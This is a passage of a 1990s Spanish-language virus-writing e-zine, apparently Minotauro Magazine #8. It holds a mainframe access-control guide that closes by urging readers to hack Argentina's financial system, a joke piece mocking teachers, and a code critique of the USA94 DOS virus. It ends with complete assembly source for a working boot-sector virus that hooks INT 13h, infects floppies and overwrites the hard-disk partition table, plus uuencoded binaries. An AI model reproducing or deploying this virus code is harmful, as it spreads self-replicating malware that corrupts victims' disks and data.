informaci¢n de seguridad para los recursos a los que tiene acceso. Mediante la utilizaci¢n de la tecla Mdto.2 se podr  requerir directamente al usuario de su inter‚s mediante el ingreso de su identificaci¢n en la pantalla que aparecer . Estando en la visualizaci¢n del USUARIO de su inter‚s podr  ver las particula- ridades en la definici¢n de ese usuario, haciendo uso del Mdto.6 para ver y/o modificar la contrase¤a. Utilizando Mdto.9 se podr  obtener el resto de la informaci¢n correspondiente al usuario en cuesti¢n. Cuando este en la pantalla deseada podr  modificar las propiedades de defini- ci¢n efectuada. Se obtendr  el mensaje SYS-6888 Se han efectuado los cambios. Si desea eliminar al usuario visualizado pulse Mdto.4. Si desea agregar alg£n usuario utilice Mdto.5 e ingrese los datos solicitados en pantalla. Modificaci¢n de seguridad de recursos ------------------------------------- Para modificar la seguridad de archivos y bibliotecas hay que realizar el siguiente procedimiento: Accionar las teclas de giro de p gina hasta obtener el mensaje SYS-8647 Final de registro de recursos. Obtenida la visualizaci¢n del recurso de su inter‚s, podr  ver los usuarios que tienen acceso al mismo y con que propiedades lo acceden haciendo uso del Mdto.6 y accionando las teclas de giro de p gina. As¡ puden visualizarse to- dos los usuarios habilitados para ese recurso hasta que aparezca el mensaje SYS-8649 Final de usuarios para ese registro de recurso. Si desea agregar o eliminar usuarios para ese registro use Mdto.5 y Mdto.6 respectivamente. Accesos permitidos Nivel de acceso dado a los usuarios que carecen de registro de usuario para este recurso o para el recurso principal: O - Propietario : El usuario puede a¤adir, suprimir o cambiar registros de usuario asociado con el registro de recurso y tiene todos los niveles de acceso inferiores. C - Cambio : El usuario puede crear o suprimir el recurso y tiene todos los niveles de acceso inferiores. U - Actualizaci¢n: El usuario puede actualizar informaci¢n en el recurso y tiene todos los niveles inferiores de acceso. R - Lectura : El usuario puede leer informaci¢n en el recurso y procesar miembros de carga y procedimientos desde una biblioteca. E - Ejecuci¢n : El usuario solo puede ejecutar miembros de carga y procedi- mientos desde una biblioteca. N - Ninguno : El usuario no tiene acceso a este recurso. Bueno gente, espero que esta informaci¢n les sirva. El sistema financiero argentino est  en bolas y esperando ser hackeado... Adelante ! PD 1: Saludos a los muchachos de Dionysios, el mejor BBS del condado. PD 2: Aguante Cicl¢n, Globo Bot¢n !!! PD 3: Ultima y no jodo mas... San Lorenzo Capo, da la vuelta en cancha nueva ! Vuestro servidor MaNTiSKiNG ========== Minotauro Magazine #8: Chantas informaticos II ** Introduccion ** Bueno, llego el momento de la verdad.. La idea de este articulo es demostrar el nivel de conocimiento de la gente incluyendo profesores, jefes, etc. Los supuestamente "profesionales" que en el momento de algun problema terminan formateando el disco y en la mayoria de los casos sin siquiera solucionar el problema :) Nos referiremos al primero como jp, profesor de computacion de un secundario muy importante ademas de ser jefe del laboratorio de informatica. A la pregunta de qu‚ diferencia habia entre un COM y un EXE contestaba - Los COM estan en binario, y los EXE en ASCII Sin comentarios eh? Al enfrentarse ante un mensaje de error del compilador de C, dijo descaradamente: - Es un error del lenguaje Aunque despues alguien se haya dado cuenta de que era que faltaba el famoso #include , insistia en que era un error del C. Alguien que me explique eso por favor :). Al estar explicandole a otro pendejo el proceso de booteo del dos, se olvido de mencionar que antes de cargarse el kernel propiamente dicho, se carga el boot record de la particion. No fue el olvidarse el hecho gracioso, sino su respuesta ante un comentario: - No hace falta el sector de boot *jajaja* Una profesora universitaria, jefa del laboratorio de sistemas abiertos, ANALista de sistemas, docente de la catadra de computacion, nos comento lo siguiente al hacerle la encuesta ' Encuestador : '... que virus te agarro ?' Profesora : ' A mi no, a una clienta, el virus Tigre; ese es malisimo ' E : ' Sufrio perdida de la informacio ? ' P : ' Si !! porque el Tigre te manda descargas electricas al cabezal del HD, en la pista 0, y te lo quema ' E: ( conteniendo la carcajada ) ' Aja, y como soluciono el problema ? ' P: ' Tuve que tirar el disco '. Le preguntamos a Cancerbero [DAN], autor del susodicho virus, como es esa novedosa tecnica para quemar perifericos; a lo que nos respondio, cagandose de risa: ' ...no te lo puedo creer... que mina pelotuda '. Otro profesor universitario, JEFE de la catedra de Seminario I ( en donde se ve DOS ), edita un libro de referencia con los comandos y esas boludeces sobre el DOS. Es el libro de apoyo, material de lectura obligatorio, de los miles y miles de alumnos de esa universidad. En el encontramos la siguiente definicion: ' Comandos del DOS: Tipos Externos : Son aquellos que al llamarlos el SO debe ir a buscarlos a disco. Internos : Son aquellos que residen en la memoria de la maquina. Instantaneos : Son aquellos que se activan con una combinacion de teclas. Ej de Comandos externos : msav, dosshell, memmaker Ej de Comandos internos : dir, cls, copy, cd Ej de Camandos instantaneos : Reset, Crtl-Alt-Del, Print-Screen, Pause. ' ^^^^^ ^^^^^^^^^^^^ ^^^^^^^^^^^^ ^^^^^^ WHAT ???????? ¨ Como ?. ¨ Comandos del DOS ?. ¨ Reset ?. ¨ Crtl-Alt-Del ?. Se olvido de poner el Power !!!!. Mas de la encuesta. Profesor de Procesamiento de datos. Encuestador : ' Cual es la diferencia entre un .Com y un .Exe ?' Profesor : ' ehhh ... El .COM son la extension de comandos de DOS, los .EXE son los ejecutables, los utilitarios. ' ­ Volve , Domingo Faustino volve !!!. Minotauro Magazine Issue #8: Produccion Nacional: USA 1994 (Mi Lamentable Vibrion) Ok, la seccion Produccion Nacional hemos decidido discontinuarla ya que los virus nacionales que quedan son o bien directamente malos, o bien buenos, pero nuestros :-) por lo que publicarlos en esa seccion seria poco objetivo. Por lo tanto hemos decidido que igual podemos encontrar un aspecto positivo de publicar virus truchos; mostrar lo que NO hay que hacer. En primer lugar quisiera aclarar que esto no es ninguna rencilla personal con los autores de los virus que vamos a publicar, (la mayoria de los cuales ni siquiera conocemos) sino sencillamente mostrar algunos descuidos, detalles estupidos la mayoria de las veces, pero a veces terribles errores "conceptuales". Vale aclarar que obviamente, preferimos suponer que los autores de los virus estaban en una etapa de aprendizaje cuando hicieron estos virus, y que ahora, o en el futuro, aprenderan cosas que son obvias para alguien que sabe programar. La seccion consistira de las siguientes partes; primero una sencilla descripcion del virus, luego todos los errores de programacion explicados detalladamente uno por uno, con ejemplos, y por ultimo el source desensamblado del virus, para el que tenga ganas de tenerlo completo, y para no dejar de alimentar las areas "Virus Sources" de las bbs argentinas, que se han visto muy favorecidas por la seccion de Produccion Nacional :-). El virus de hoy es uno que a pesar de todo, se encuentra mas o menos disperso por las BBS, y es de un autor que tenemos la suerte de haber conocido, Anubis. Su virus USA94 es un sencillo infector de COM residente, encriptado (con encripcion constante). % Erratas, descuidos, errores % 1-El primer error que encontramos con bastante frecuencia en el virus de Anubis, es que le gusta cargar los registros varias veces con los mismo valores. Esto en realidad no esta "mal" pero considerando que un virus tiene que ser tan chico como sea posible, siempre es preferible cargar uno solo registro, y a los otros cargarlos con ese. Por ejemplo: mov di,realstart-vstart+100h mov si,realstart-vstart+100h Seria mejor: mov di, (sanata) mov si, di Esto ahorraria muchos bytes en el virus de Anubis. 2-Otro error, este quiza mas entendible que el anterior, es que Anubis parece no recordar que es lo que tenia en los registros de segmento. Llega a ser muy curioso como Anubis carga en DS el valor de CS varias veces en la misma rutina, en circunstancias donde el flujo de control no podria divergerse hacia otro lado. Por ejemplo: mov ah,4ah ; fixear el bloque de memoria push cs pop es int 21h mov ax,3521h ; getint21 int 21h mov ds:[oldint21-vstart+100h],bx ; save vector mov ds:[oldint21-vstart+102h],es mov ax,2521h push cs ; 2 bytes totalmente al pedo pop ds mov dx,newint21-vstart+100h int 21h 3- Otro error bastante antiestetico, y comun entre los principiantes, es no usar lodsb. Instrucciones como esta o como stosb, o movsb, resultan complicadas para los que no saben muy bien en donde estan parados, como Anubis, y por lo tanto optan por utilizar sus equivalentes: mov al, [si], etc. Usar combinaciones parecidas (mov bl, [di]) para escanear o copiar codigo o datos solo convienien cuando estamos haciendo cosas muy especificas. 4- Algo sumamente c¢mico, es como hace el compa¤ero Anubis (bueno, soy comunista, pero shhhh..) para armar el jump al virus que luego va a escribir al hoste: mov si,offset fixjmp-vstart+100h mov byte ptr [si],0E9h ; que hac‚s viejo! :).. mov ax,ds:[fsize-vstart+100h] sub ax,0003 ; calcula el jump al virus mov [si+01],ax mov byte ptr [si+03],55h ; marca de infecci¢n. Pero ponela como pueden ver, lo que hace es LITERALMENTE :) armar byte a byte todo el jump, pero poni‚ndole el opcode del jmp near 0E9h, y hasta poni‚ndole el byte que usa como marca de infecci¢n!, y esto lo hace con cada infecci¢n!, perdiendo bytes y tiempo de ejecuci¢n, cuando tranquilamente podr¡a tener esos dos bytes fixeados en el c¢digo del virus.. njmp db 0e9h,0,0,55h y hacer simplemente... ( en pseudo-pseudo c¢digo :) ) mov si,offset njmp mov ax,hoste_size sub ax,3 mov [si+1],ax como ven, cambia radicalmente la cosa, y es como deber¡a hacerlo. Esto es un grave error conceptual, muestra de un desconocimiento del lenguaje assembler en s¡, y tomando en cuenta que he visto virus de Anubis que son modificaciones de los creados por el LAVI, podemos deducir (elemental mi querido watson..) que anubis esta dando sus primeros pasos con el assembler, y los esta dando sobre el tema virus, usando el viejo y nunca bien ponderado cut & paste (bueno, de alguna forma hay que aprender..). 5- Otra cosa curiosa y poco ¢ptima es la siguiente rutina que se encuentra al principio del handler del virus de la int 21h: ; en DS:DX -> filename mov bx,dx ; a buscar el punto.. mov si,0 ; que feo, oiste del xor si,si? :) look4dot: mov ah,[bx] ; bueno, aca no te critico nada :) cmp ah,'.' ; pero era mejor cmp b[bx],'.' :) jz foundit inc bx inc si cmp si,32h jz isnotcom jmp look4dot esta rutina, la usa para buscar la extensi¢n del file que se va a ejecutar, y actuar seg£n lo que sea (si es .COM lo infecta etc.). ahora viene el desastre, en este punto, anubis, una vez encontrado el puntito, BX lo tiene apuntando al '.', o sea que ya encontr¢ dentro de DS:DX en que posici¢n esta el '.' (la extensi¢n), entonces, procede a comprobar si el file es un .COM ... foundit: cmp word ptr [bx+01],"OC" ; a ver si es un .COM ... jz shitcmp ; me aguanto cmp word ptr [bx+01],"oc" jz shitcmp jmp isnotcom shitcmp: cmp byte ptr [BX+03],'M' ; sigue con lo mismo.. jz iscom cmp byte ptr [BX+03],'m' jz iscom isnotcom: call abort ; guau, un call :).. no es un COM. listo, compar¢ si es un .COM, si no lo es aborta; pero si lo es, procede a comparar si el file termina en "ND" (vaya a saber que busca, no tengo idea, tal vez el SCAND :)), pero el desastre que hace, es que teniendo en BX el offset en el que est  el puntito, el querido Anubis, procede a hacer Tooooooooda la b£squeda del mismo otra vez, duplicando c¢digo, perdiendo tiempo, y adem s demostrando sus escasas (por no decir nulas) habilidades en el lenguaje assembler. vean y lloran.. (los puedo escuchar...): iscom: mov bx,dx mov si,0 ; otra vez!, XOR SI,SI, XOR SI,SI! look4dot2: cmp byte ptr [bx],'.' ; busca el puntito de nuevo.. :) jz foundit2 ; ya lo hab¡as encontrado che :).. inc bx INC si cmp si,32h jz goon jmp look4dot2 foundit2: cmp word ptr [bx-02],"DN" ; que ser  esto.. jnz ohgodwhyme call abort ohgodwhyme: cmp word ptr [bx-02],"dn" jnz goon call abort en fin... 6- y van... Anubis, ademas de ser un miembro m s de la logia Luck Martins (adoradores del cut & paste/rip, use & claim that is mine y del nunca bien ponderado 100% asm), es un entusiasta lector, y le encanta leer revistas de virus tanto como a borges, pero el problema es que entiende a las primeras tanto como al segundo, entonces de ah¡ surge su confusi¢n pobre.. miren esta rutina de infecci¢n.. mov ax,4300h ; toma atributos del file int 21h mov cs:[oldattr-vstart+100h],cx ; salvarlos mov byte ptr cs:[error-vstart+100h],0 ; variable de error como bien ley¢ anubis en alguna minotauro, 40hex o nuke infojournal, el va a proceder a instalar su propio handler de la i24 para que ante cualquier error no le salte el famoso retry,abort,fail,suicidarse etc. ... mov ax,3524h ; get error handler int 21h push bx push es mov cs:[oldint24-vstart+100h],bx ; guarda el vector i24 mov cs:[oldint24-vstart+2+100h],es mov ax,2524h ; set dumb controler push ds push dx mov dx,newint24-vstart+100h ; dumb i24 handler push cs pop ds int 21h listo, ahora ante cualquier error, el lo tiene controlado, entonces procede a sacarle los atributos al file... mov ax,4301h ; set attr. to 0 mov cx,0 ; xor cx,cx por favor!! pop dx pop ds mov cs:[nameptr-vstart+100h],dx ; guarda DS:DX -> filename mov cs:[nameptr-vstart+102h],ds int 21h b rbaro, muy bien Anubis, muy bien, ves que aprend‚s, me equivoque, me arrepiento de todo lo que te dije a lo largo de la nota, me apresur‚, vos si que sab^&%^&*!@*.. no, no, para, que es esto?. pero es en serio?.. no, para.. que haces?.. a ver.. mov ax,2524h ; lo resetea al nombre??? ???? pop es ; tiene un pedo en la cabeza pop bx ; este chab¢n.. int 21h cmp byte ptr cs:[error-vstart+100h],1 ; controla la variable jnz solame ; de error call abort NOoo viejo!, que haces!, primero, para que volviste a poner ahora el handler si lo podr¡as seguir usando, y adem s... DS:DX est  apuntando al file a infectar Anubis!, que haces!!!, muy bien, al pedir el vector de la i24 hiciste el push bx, es, pero te olvidaste que la funcion 25h para setear el vector de la i24 te lo pide en DS:DX hombre!, y por mas que hagas el pop es,bx tenes que pasarlo a DS:DX!, tendr¡a que ser un pop ds,dx !!!, bueno, basta.. ya no puedo mas, un m‚dico a la derecha.. (cualquier semejanza con la vida real, sepa entenderse.. :)) solame: mov ah,3Dh ; lameissimus mov al,02h ; juaaaaa :) pushf call dword ptr cs:[oldint21-vstart+100h] ; llama i21 original ; para que no s‚ :) ; si esta llamada no ; no la intercept s ; master.. y seguidito a la anterior master piece.. anubis, vos no est s interceptando a la funci¢n 3dh de la i21, asi que me quer‚s explicar para que rec¢rcholis haces un call far a la i21 original????. Ya me imagino la respuesta.. :) 7- Si, llegamos.. llegamos y llegamos... yo sab¡a que algo iba a revertir mis tendencias suicidas, yo sab¡a, sabio que iba a ser un sabio, sus palabras tal vez, pero no.. fue Anubis, podr¡a llamarlo sabio, pero no, lo considero un fil¢sofo, el me ha dado una raz¢n para seguir viviendo, la raz¢n.. la raz¢n... conseguir tu direcci¢n anubis, porque es increible lo que viene a continuaci¢n.. aca anubis chequea si es el 17 de junio, en caso afirmativo, procede a desatar el terrible poder destructivo de su virus.. mov ah,2ah ; pide la fecha int 21h cmp dh,06 ; verifica si es junio.. jnz isnotdate cmp dl,17 ; 17 de junio?.. jnz isnotdate call active ; se activa si es 17 de junio. luego de gastar 3 bytes innecesariamente (algo com£n en el).. active: jmp crack string2 db "-USA 94-",0 ; file sisisisisi!, llegamos, aqui viene el playload del virus Usa '94, beware! Usa '94 is here to stay!.. cuidado.. veamos.. crack: ; ???????? push cx push ax push dx mov dx,ds:[0101h] ; y este enchastre viejo? :).. add dx,0103h add dx,string2-vstart+100h sub dx,0100h mov cx,8h mov ah,3Ch ; crea el archivo.. int 21h pop dx ; y aca muere el playload ;).. pop ax pop cx brbrbrbrb, ehh.... corky!.. no anubis.. que es esto!?, que pas¢ anubis?, ten¡as excursi¢n en la salita verde y no tuviste tiempo de calcar el virus?, que pas¢? que es esto!?, queres crear el file "-USA 94-", y despu‚s???, te moris.. te vas, chau, adios.. bueno, si tu intenci¢n era crear el file y colgar la m quina, te sali¢ perfecto.. :) Bueno, mi salud mental da hasta ac , mas no puedo, el virus de anubis esta lleno, pero lleno :), de errores, de cosas absurdas e incomprensibles, como chequear para saber si el virus de desencript¢ bien (??), cosas realmente incre¡bles. Pensar que despu‚s esta es la misma gente que dice que no quiere distribuir el source de sus virus, ahora sabes por qu‚ :), y como para rematar, al haber terminado de desensamblar el USA '94, nos dimos cuenta que el virus es casi una r‚plica de un virus hecho con el LAVI, de ahi que algunos antivirus lo confundan con virus hechos por este creador, asi que, degradante y horrible anubis, no hay mas nada que agregar. Espero que hayan aprendido lo que NO hay que hacer, y sepan rechazar la tentaci¢n de la logia Luck Martins (100% asm). - That's All, So long. - ; Copyright (c) Digital Anarchy 1994 ; Creado por Bugs Bunny [DAN] ; Virus de ejemplo para Minotauro Magazine ; NOTA: Se tiene que compilar con el A86, el cual generar  ; un archivo .BIN que se debe copiar al sector de BOOT de ; un disco de HD. El BOOT original de ese disco, hay que ; ponerlo en el SEC 14, CYL 0, LADO 1. Listo!, el virus ya ; est  listo para ser ejecutado. ; Bugs Bunny [DAN] ; PD: En XT no funciona. ; ********** VIRUS DE EJEMPLO *********** ORG 0 JMP START ; Aqu¡ va la tabla de datos del Boot DB 03B DUP(0) ETIQUETA: DW 0BBDA ; Para saber si ya estaba infectado INT_013_IP: DW 0 ; Off. de la INT_13h original INT_013_CS: DW 0 ; Seg. de ;a INT_13h original DISCO: DW 0E ; Tipo de disco: ; Flopy HD=0E, DD=03; Hard Disk=04 ; C¢digo del Virus START: CLI ; Desactiva las interrupciones XOR AX,AX ; MOV DS,AX ; DS <- 0 MOV SS,AX ; ES <- 0 MOV SP,07C00 ; SP <- 7C00h MOV BX,W[0413] ; BX = Cant. de memoria DEC BX ; MOV CL,6 ; MOV SI,04C ; SI apunta a la INT 13h en la tabla MOV W[0413],BX ; Resta 1 Kbyte de memoria LODSW ; \ MOV W[07C00+INT_013_IP],AX ; |_ Guarda el vector de la INT 13h LODSW ; | en variables MOV W[07C00+INT_013_CS],AX ; / SHL BX,CL ; Calcula el nuevo seg. del virus MOV W[04C],HANDLE_INT_013 ; \_ Toma la INT 13h MOV W[04E],BX ; / PUSH BX ; POP ES ; ES = Nuevo seg. del Virus STI ; Habilito las interrupciones MOV CX,0100 ; \ MOV SI,07C00 ; | XOR DI,DI ; > Copio el c¢digo del Virus a la CLD ; | nueva posici¢n en memoria REP MOVSW ; / PUSH ES ; \ Con esto hago un salto a PUSH CONTINUA ; > CONTINUA pero en el nuevo RETF ; / segmento de memoria. CONTINUA: PUSH CS ; POP DS ; DS <- CS XOR AX,AX ; MOV ES,AX ; ES <- 0 INT 013 ; Reset Disk MOV AX,0201 ; Se prepara para leer 1 SECTOR MOV BX,07C00 ; en 0000:7C00h MOV CX,W[DISCO] ; CMP CX,4 ; Booteo desde R¡gido? JNE FLOPY ; si no, sigue en FLOPY RIGIDO: MOV DX,080 ; Lee el SEC 4, CYL 0, LADO 0 CALL INT_013 ; del primer disco r¡gido (C:) JC ERROR ; si hubo error, sigue en ERROR JMP EXECBOOT ; Ejecuta la TP original FLOPY: MOV DX,0100 ; Lee el SEC (3 para DD, 14 para HD) CALL INT_013 ; CYL 0, LADO 1 de la disquetera A: JC ERROR ; si hubo error, sigue en ERROR PUSH CS ; POP ES ; ES <- CS MOV AX,0201 ; \ MOV BX,0200 ; | MOV CX,1 ; > Lee la TP del disco C: en el MOV DX,080 ; | buffer del Virus CALL INT_013 ; / JC EXECBOOT ; Si hubo error, ejecuta el Boot orig. CMP W[023E],0BBDA ; Ya estaba infectado? JNE INFRIGIDO ; si no lo estaba, sigue en INFRIGIDO EXECBOOT: JMP 0:07C00 ; Ejecuta el BOOT original ERROR: INT 019 ; Arranca nuevamente el sistema INFRIGIDO: MOV CX,4 ; \ MOV W[DISCO],CX ; |_ Escribe la TP original en el MOV AX,0301 ; | SEC 4, CYL 0, LADO 0 del HD CALL INT_013 ; / JC EXECBOOT ; si hubo error, ejecuto el Boot orig. MOV SI,03BE ; \ MOV DI,01BE ; |_ Copio la tabla de datos de la MOV CX,33 ; | TP al final del Virus. REP MOVSW ; / MOV AX,0301 ; \ XOR BX,BX ; |_ Reemplazo la TP original por INC CX ; | mi Virus. CALL INT_013 ; / JMP EXECBOOT ; Ejecuto el Boot original. ; Nuevo Handler de la INT 13h HANDLE_INT_013: PUSHF ; Guardo las banderas CMP AH,2 ; \ JL BYE ; | CMP AH,3 ; |_ Si no es ni Lectura ni Escritura JG BYE ; | de la disquetera A:, sigue con CMP DL,0 ; | la INT 13h original. JNE BYE ; / PUSH AX,BX,CX,DX,ES,DS,SI,DI ; Salvo todos los registros XOR AX,AX ; MOV DS,AX ; DS <- 0 TEST B[043F],1 ; Si el motor de la disquetera est  JNZ SALE ; en marcha, se va. PUSH CS ; POP ES ; ES <- CS PUSH CS ; POP DS ; DS <- CS MOV AX,0201 ; \ MOV BX,0200 ; | MOV CX,1 ; > Leo el Boot del disco A: en el XOR DX,DX ; | buffer del Virus. CALL INT_013 ; / JC SALE ; si huboi error, se va CMP W[023E],0BBDA ; Estaba infectado? JE SALE ; Si estaba infectado, se va INFECTA: MOV AX,0301 ; Escribir un sector MOV CX,3 ; CYL 0, SEC 3 MOV DX,0100 ; LADO 1, disco A: CMP B[0215],0FD ; Es un disco de DD? JE DISCO_DD ; S¡, sigue en DISCO_DD MOV CX,0E ; CYL 0, SEC 14 DISCO_DD: MOV W[DISCO],CX ; Guarda la etiqueta del disco CALL INT_013 ; Llama a la INT 13h JC SALE ; si hubo error, se va. MOV SI,0203 ; \ MOV DI,3 ; |_ Copia la tabla de datos del MOV CX,03B ; | Boot al principio del Virus. REP MOVSB ; / MOV AX,0301 ; \ XOR BX,BX ; | INC CX ; > Reemplazo el Boot original XOR DX,DX ; | por el c¢digo de mi Virus. CALL INT_013 ; / SALE: POP DI,SI,DS,ES,DX,CX,BX,AX ; Restauro los registors BYE: POPF ; Restauro las banderas EXIT: CS JMP D[INT_013_IP] ; Sigo con la INT 13h original. INT_013: PUSHF ; \ Llamo a la INT 13h original CALL D[INT_013_IP] ; > como si la estuviera haciendo RET ; / un "INT 013" ORG 0180 ; DB '0123456789ABCDEF' TEXTO: DB 'Bugs Bunny [DAN]' DB ' para Minotauro ' DB 'Magazine.(C)1994' DB 'Virus Ejemplo.' ORG 01FE DW 0AA55 ; Boot V lido begin 666 boot.bin MZ4, M #:NP . /HSP([8CM"\ 'R+'A,$2[$&ODP MB1X3!*VC0'RMHT)\T^/'!DP ]@")'DX 4P?[N0 !O@!\,__\\Z4&:(4 RPX? M,\".P,T3N $"NP!\BPY$ (/Y!'4+NH Z-, B! .O4G(#\ GQS@/P#?VZ ^@!U:5!345(&'E97 M,\".V/8&/P0!=4X.!PX?N $"NP "N0$ ,]+H2@!R.H$^/@+:NW0RN $#N0, MN@ !@#X5 OUT [D. (D.1 #H)@!R%KX# K\# +D[ /.DN $#,]M!,]+H#@!? M7A\'6EE;6)TN_RY )S_'D PY"0D)"00G5G2!;1$%.72!P87)A M($UI;F]T875R;R!-86=A>FEN92XH0RDQ.3DT5FER=7,@16IE;7!L;RZ0D)"0 MD)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0D)"0 1D)"0D)"0D)"0D)"0D)"05:H end begin 666 tarjeta.zip M4$L#!!0 @ ( $H"2Q_BTD_(5DD (B/ * 3$5#5$]2+D581>Q\?7Q3 M1;K_)"N>E-4-@;0E)=+6765ZZJPMDFK=R$- M-ZN0G%)7W,M+[NX5!-WU95?4*J&^E19:A,6EK:N\>!5!W1,/8@5L2IOF_+YS M3I*^B+M[[^?WN9_?'S_Z^>;,F7EFYIEG9IYYYIDY_'A)#[F>&!0_(82(X@K6 M2^1_LP$%&2C^637Y&_\4P-O .: /& #V,#N95X$7 ?KW6\ 'S -N!N8 UP%3 M "O0HMS)O :\!/P6V \#M0!*X"? /.!R!MX$W@.>!IX$G@8>!>X L( 6X MJ-[)"$ 0: 3J@0>!ZX#)@!G0 X=5.YGG@" 0 %8#/P:B^IW,"> PL!78 *P! M5@'W N!F<"U0"X0U>UDS@!_ 0X"KP!/ H\!=< OM) 7L!2X#;@6R (:QZ!, MH!*8 @P:=S)G@>/ ?F 7\#30"*P&:H$'@(5 !5 &3 $N!W( Z >E,A9^!+ MX 1P!-@/- ,O SN!K4 C\$O ]0 E< \H!R8!EB!?$ ',,!9PT[F"^ #X "P M$]@"- >H :X&U@*V(!9P-5 6!/VZZZ%7 J"5D)/ [\"@@"'P-6AA!+[G95 M'I -/*0FY#Q+R!U N8:0@):0GP JX+540B8#HH&03X&7@"< 7D_(>\ 6X#9@ M4$?(L\!5:<@'=)N0!E0#/KR_"KP+G 4.IA/R%K &N!OP9!#R$' 7< LP"R@& MW@'Z,@DY@N>B7)0+K,TA9 >>/QI+R'I@[66$; +,%D)^/YZ0[P#+!.0'%@$^ MX-K+40>P _A)(2'_"EQU-2%S@,5 #= (_ G(NH807?YVE1&8,8V0E!F$%,P@ M___?_W/_FK>KBOS9K+*I^/!XKDA).,O5I/'XCE^0!O91XK>XB;]H ^%3%?MF MUQ"N@SNZ1ZR/GOOCZ9DW66]0NWN]A[V18WYC#=FC)-VG?6TFW^D>OZ6.-'05 M?L7-YLUK1:*LT;Q+E'Z\O*+J_J:B[)L:)ORH@ON4.>ZW/(8:_&3[HZ3P:&-+ MTZV5A\:R.$\?W8]\1O7 MDI*O0T^K&H^^@QF13O@3I*C1PBJ+VMG=BFK\/J<@8NG#P"K@(> !X'X2U$.K M.X(75(2$MM'<2O*NDO"_E7.+ELQL.C_=;%D-*2TE();TLP\MR$E)++W?AY1X28J67>_&R@H3(I(:# MC<>;KU8<'C^N#45,VI^]F"!L":D07"8'U0C>)0=9!.^EP4--(O<1]TG9IZY, M[QS1I;MAA:).'5BAX+I];:S EWWD*N".6S2L=PYIUX@2WRZ-55RN'"?LMXJ5 M>+S3UE3^IA)EM>VQD.8RN;7\5V*((0XCGRE"*[3TBT \,F!V[0'[0 M$,CN,P=*+YJ;E+L)ORR;EKHM:I[X\X"3]9YZ0M?Z3-2\+!'Y!")?476=\IZJ M'TH(V%@I" *#%B$:F!B1 H-F^I#DK6VW#1!^9483E2Y_7\8KVFZ>AJ/AC\F^ M*IUHTT$(ZVT#3>0:B.BH;X"M*^H\723^[CU5DW&7AF_+$FK1@"929HNM>5"T MQX05TBM*$Y:)MJBP:)LBKXGH6]Q%OMF:/.*Z(F"-F@.V ;^MC[/%RAV<+5KN MX&U3%CBR-]CZ'!@G#KYJBF ).&.!VJC4^N59 8N4IREE-]FC(+P]2[3%("ZY M5F.BPNV]9H4M"A'2^.B:L9>2K<+!K]2+]BB&F6C78C@QX1QQ6%WG,VD]!/W8 MJB-_97H8HRI%9<2?R$!>H=\QCI*6DB[' K%6*]:R&VPZ!__JY&6'J# %0V)\ MBT]WY6\WY8A&4PX:'@8A__G 8GED5-)!QO44ECY*N';U'/(*V\US/66E!;GN M="1Q3I4_>QW9X2=TQLQ%ZI?<[ T@9: [RSIJM5Q'(4);Z M?*+HUG/MM+ =!;G"&]!_3$<'RT$;[]A 2EJ65RUK51'4SQD?@S[V8;1CIJGX M_&G5!9P1Y5NX1)1V6ETJ.!9K5;Q=!/OJD"@*2DS0-GG <-E0K^L(9V>Y*A5_ M3PG&BM\92Y9KB_+M)=490X7&:-1K);7:9E&D14W8[B<0JDZ4,3(Q%PI,1V1.BM7J;7Z M*PU6?X51< AVN2+6RFC0559.4]AN]6NA*B9C@K[UBJ/A] M52HJD#6Z!/^"GD9QFJTEK86M7 _71U]18SEQ*86;I+0*(UIE\#NCF$-2YDE" M*J8(9CH&;J!G#51JQ<7DW775X M/,WK'P-VE'+4U=^+FH>U7*L2U]M$Z!IB$Z%ZZ5L,VH?88@&;.(.]:*Z>,(,= M,->-Q=HQ@^TS5V?,8/O-=:F2[A$EW5-G2BP?E5('@R\=FLY7LI"SJJ1%N):S MZ0JI^NCC:K5"OEAKDH3#.GGVJ@6.2OY;-=?1>5)A,]K*:@V>D] @RZN26F=D M3N3IFKS (1=1R>_^H9Q8D9'90T54&6?G@!H=.U&JV207RSF-S)$%G,U0V,$Y M30CR.]5QEO_9[X$X#>B%#EN_@I1Y3&N,TGO,[Z%1HLC5QH3)*(UK3^:^0>(, M+$Y!(,ZY@\]0,[70#E'&UE_6[CXL\3AL6EA"I;F.86HY?Z*4M*]*B]$_%_-7 M8E^+OL'0>$E'!Q$K"X>NE O&4D+?'''-[2 O![D\+^H,5K$"B_&"L8U8XS,; ML1Y*FL8UR3M[P5B=2T,?J>XW+9@ M;!.I2AI"4LIDCJ,-1W@$BB0^@WQ#J]CJV9D9 A+6^X#)N=LB*AN4>TH:R]1BG\ M)JR6RN4T3/MJ*RW#;4 G6@NA1_T:(7-T>4SX?G%8@6*=$3 $EQ30(G6)DFAO M*>H,X>?)WZB<"5O$\#HBZ6XZ"JJ$A7)^.@[U+6NLM,,="ZW<<@/7MI3V>D), M.=Q1C75]3J"UB0@YHR0( <:B<0$RX;=BLOB>$\9]CY/D^@5.?AVC"IU:/^@G MF&2L9)+)1@]_Z#NI^[ N[SAI[F!/P8A==H@SGC)SEI/FYB6*T'5V_I5"M8+X MN@@H_-FGS-M/F;=.$NL/R:7IXC/4$IJ0ZPB-+7*$^+$._KDLWSY37)/"!.GD MN0/;"*Q&![>WI&MIY#P4:Q,)9).\-TCDJT#G54?60VG>!S4;2RX\TO3(H4TJ MRW&E[B9-2OY*:>7SY\1:9R!KM2K6_JHT&?TYRUJU-(_OC,Y9R5=K88K"$H%6 M*F/5>?)6!>N)W]9+=QNRK/B[1:@L&(TC2+@^4-P57T#*01$5%NI%5RX:&J7F M;+^#OT<$+UK^-SJN1]!)9L7U/ANK]'EZB>LRD,3B=&4BUQ[X&,8MR%/XAW24 M6&?U@UBGA$A$NPI]MX-S]DE-^[%.7G.E3DH8V/FR@9TI$+PO10Z? W9 M&Q[_B9@D&YY%HIH]DLJ0+(R_7AR953LZZQ-RUG"0C*A8HID[G*4?X&AX(W3_ M"$?/QD9FC5<0?D ,S,9.Z#XC? >!E;J W1"H90-.+3]32X>#@6RSYF(^3X:) M!!7E9M=:)^:*@R&B=$38B;E$Z4KT7GQ"2],P>"%-XF/;C%%Y;TCFO4'.JQR9 MMW0H;YNLU#U&KM8T9*6[]3Y16<^NC8GUM=*">)[X9G]I)NXQ:SUL::Y;V\%^ M:09#F;[9GR,V%;$3NH=HX;E.=%:T<%U+7L4H#5#X,-XQ/F9=RT!'>NY?K>VJ4=;&;N+W([V.Q< M2JW3VPSN<*D+<$"?\>3XBT8\.3LM86]<[W.6.*$E$VVIDMAHSL5R0-5DH%+Q!F%: 